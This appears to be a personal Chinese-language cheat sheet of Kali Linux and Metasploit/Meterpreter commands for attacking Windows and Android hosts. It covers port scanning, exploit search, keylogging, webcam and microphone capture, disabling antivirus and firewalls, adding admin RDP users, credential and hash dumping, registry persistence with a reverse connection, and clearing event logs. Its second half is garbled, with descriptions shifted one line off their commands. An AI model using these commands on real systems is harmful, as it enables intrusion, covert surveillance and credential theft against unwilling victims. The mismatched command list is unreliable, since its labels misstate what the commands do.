kali笔记
扫描:
nmap -Ss -Pn xxx.xxx.xxx.xxx
-Ss:nmap的SYN扫描,属于TCP扫描的一种,但不建立完整的TCP连接,又称为半开放扫描。
-sT:设置完整的TCP三次握手。
-Pn:认为所有主机都在线,防止其他主机对本机进行ping屏蔽。
查找exploit:
search [参数:匹配]
app:属于客户端或服务端攻击的模块
author:属于哪位作者写的模块
bid:匹配具有特定Bugtraq ID的模块
cve:匹配特定cve ID的模块
edb:匹配特定漏洞利用数据库ID的模块
name:匹配特定名字的模块
platform:匹配特定平台(Windows、Android、Linux)的模块
ref:匹配具有ref的模块
type:匹配特定类型的模块(exploit、auxiliary、post)
例子:
search cve:2009 type:exploit app:client
系统信息:
Ps //查看目标主机的进程信息
Kill //杀掉某个进程
Getuid //查看权限
Pwd 查看当前目录路径(目标主机)
Sysinfo //查看目标主机信息,比如版本信息等
Shutdown //关机操作(谨慎操作)
keyscan_start 打开纪录总体目标服务器的键盘输入
keyscan_dump 輸出捕获到的总体目标键盘输入空格符信息内容
keyscan_stop 终止键盘记录
run vnc 打开实时监控界面
webcam_stream 打开监控摄像头
Webscan_list //查看摄像头列表;
Webscan_stream //摄像头视频获取;
Webscan_chat //查看摄像头接口;
migrate 616 关掉另一方服务器防火墙
screenshot 手机截图
Run getgui -e //开启远程桌面;
Run getgui -u cmdback -p 123123 //添加用户
Run getgui -f 4446 -e //将目标主机上面的3389端口转发到4446
netsh advfirewall set allprofiles state off //关闭防火墙
Run post/windows/gather/checkvm //查看目标主机是否为虚机;
run post/windows/gather/enum_applications //获取目标主机安装软件信息;
Run post/windows/gather/enum_patches //查看目标主机的补丁信息;
run post/windows/gather/enum_domain //查找目标主机域控。我本地没有域控;
run post/windows/manage/killav //关闭杀毒软件;
run post/windows/manage/enable_rdp //开启3389远程桌面;
run post/windows/gather/enum_logged_on_users //列举当前登陆过主机的用户;
run post/windows/gather/credentials/windows_autologin //抓取自动登陆的用户名和密码;
run post/windows/manage/enable_rdp username=xxx password=xxx //添加远程桌面的用户(同时也会将该用户添加到管理员组)
后门持久化:
权限维持 :
Persistence模块
Run persistence -h //查看帮助信息;
run persistence -U -i 5 -p 5555 -r 192.168.205.148
-U:设置后门在用户登录后自启动。该方式会在HKCU\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息。推荐使用该参数;
-i:设置反向连接间隔时间,单位为秒;
-p:设置反向连接的端口号;
-r:设置反向连接的ip地址。
痕迹清除 :
clearev
后渗透:
查看进程
ps
注入进程
migrate
查看远程桌面
查看文件
run vnc
编辑文件
cat
上传文件
edit
下载文件
upload
删除文件
download
创建文件夹
rm
删除文件夹
mkdir
查看会话
rmdir
退出当前会话
sessions -l
在线用户数
backgroud
让键盘失效
enumdesktops
恢复键盘
uictl disable keyboard
音频录制
uictl enable keyboard
开启摄像头
record_mic -d 10
桌面抓图
webcam_stream
系统信息查询
screenshot
获取最高权限
sysinfo getsystem
密码hash
hashdump
搜索
search
search -f *.jpg
download
打开前置或后置摄像头
webcam_stream -i 1/2
检测root
check_root
下载电话记录
dump_calllog
下载信息记录
dump_contacts
定位,需要下载谷歌地图
geolocate